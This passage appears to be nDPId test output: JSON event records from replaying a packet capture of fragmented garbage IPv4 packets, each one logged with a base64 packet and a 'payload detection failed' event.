+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909891,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909967,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909979,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909992,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910005,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910018,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910054,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910106,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910133,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910169,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910211,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910226,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910238,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910250,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910262,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910286,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910311,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910375,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 